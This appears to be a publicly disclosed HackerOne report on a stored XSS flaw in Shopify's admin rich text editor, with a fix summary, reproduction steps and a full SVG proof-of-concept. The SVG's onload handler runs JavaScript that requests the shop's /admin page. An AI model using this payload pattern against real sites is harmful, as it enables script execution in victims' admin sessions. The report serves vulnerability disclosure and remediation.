HexBrain

Shopify · Report #1276742

Stored XSS in SVG file as data: url

Validstatus
mediumseverity
$5,300bounty
153upvotes
31 Jan 2023disclosed

Summary

On July 24, 2021, @irisrumtub discovered it was possible to insert an XSS payload encoded in an SVG file by using data: url's in the admin's rich text editor. Our engineers deployed a fix that avoid converting the data: URL into a blob: URL, which impedes the exploitation of this vulnerability.

How it was found

Hi Shopify team,

In rich text editors (products, gifts, pages, etc) you allow data: URLs to be set as image sources, and I was able to store XSS in such image. While <img> won't execute script that is stored inside the SVG it points to, if one opens the image, the script will be executed. What is important here is that you actually can use javascript here to access /admin area.

#Steps to reproduce:

  1. Create a product with such html description:
<img src="" alt="">

Inside this base 64 is code like this:

<svg onload="var req = new XMLHttpRequest(); req.open('GET', 'https://us-based-organization-h1.myshopify.com/admin', false); req.setRequestHeader('Upgrade-Insecure-Requests', '1');req.setRequestHeader('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36') ;req.send(null);var headers = req.response.toLowerCase();console.log(headers);" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" viewBox="0 0 100 100" enable-background="new 0 0 100 100" xml:space="preserve" height="100px" width="100px">
<g>
	<path d="M28.1,36.6c4.6,1.9,12.2,1.6,20.9,1.1c8.9-0.4,19-0.9,28.9,0.9c6.3,1.2,11.9,3.1,16.8,6c-1.5-12.2-7.9-23.7-18.6-31.3   c-4.9-0.2-9.9,0.3-14.8,1.4C47.8,17.9,36.2,25.6,28.1,36.6z"/>
	<path d="M70.3,9.8C57.5,3.4,42.8,3.6,30.5,9.5c-3,6-8.4,19.6-5.3,24.9c8.6-11.7,20.9-19.8,35.2-23.1C63.7,10.5,67,10,70.3,9.8z"/>
	<path d="M16.5,51.3c0.6-1.7,1.2-3.4,2-5.1c-3.8-3.4-7.5-7-11-10.8c-2.1,6.1-2.8,12.5-2.3,18.7C9.6,51.1,13.4,50.2,16.5,51.3z"/>
	<path d="M9,31.6c3.5,3.9,7.2,7.6,11.1,11.1c0.8-1.6,1.7-3.1,2.6-4.6c0.1-0.2,0.3-0.4,0.4-0.6c-2.9-3.3-3.1-9.2-0.6-17.6   c0.8-2.7,1.8-5.3,2.7-7.4c-5.2,3.4-9.8,8-13.3,13.7C10.8,27.9,9.8,29.7,9,31.6z"/>
	<path d="M15.4,54.7c-2.6-1-6.1,0.7-9.7,3.4c1.2,6.6,3.9,13,8,18.5C13,69.3,13.5,61.8,15.4,54.7z"/>
	<path d="M39.8,57.6C54.3,66.7,70,73,86.5,76.4c0.6-0.8,1.1-1.6,1.7-2.5c4.8-7.7,7-16.3,6.8-24.8c-13.8-9.3-31.3-8.4-45.8-7.7   c-9.5,0.5-17.8,0.9-23.2-1.7c-0.1,0.1-0.2,0.3-0.3,0.4c-1,1.7-2,3.4-2.9,5.1C28.2,49.7,33.8,53.9,39.8,57.6z"/>
	<path d="M26.2,88.2c3.3,2,6.7,3.6,10.2,4.7c-3.5-6.2-6.3-12.6-8.8-18.5c-3.1-7.2-5.8-13.5-9-17.2c-1.9,8-2,16.4-0.3,24.7   C20.6,84.2,23.2,86.3,26.2,88.2z"/>
	<path d="M30.9,73c2.9,6.8,6.1,14.4,10.5,21.2c15.6,3,32-2.3,42.6-14.6C67.7,76,52.2,69.6,37.9,60.7C32,57,26.5,53,21.3,48.6   c-0.6,1.5-1.2,3-1.7,4.6C24.1,57.1,27.3,64.5,30.9,73z"/>
</g>
</svg>

In this example i request my shop's admin page and in the video it looks like CORS is okay with it.

  1. Open the resulting image in new tab and observe script execution in console.

#POC video: █████

Impact

With little user interaction we can execute arbitrary scripts in victim's account.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original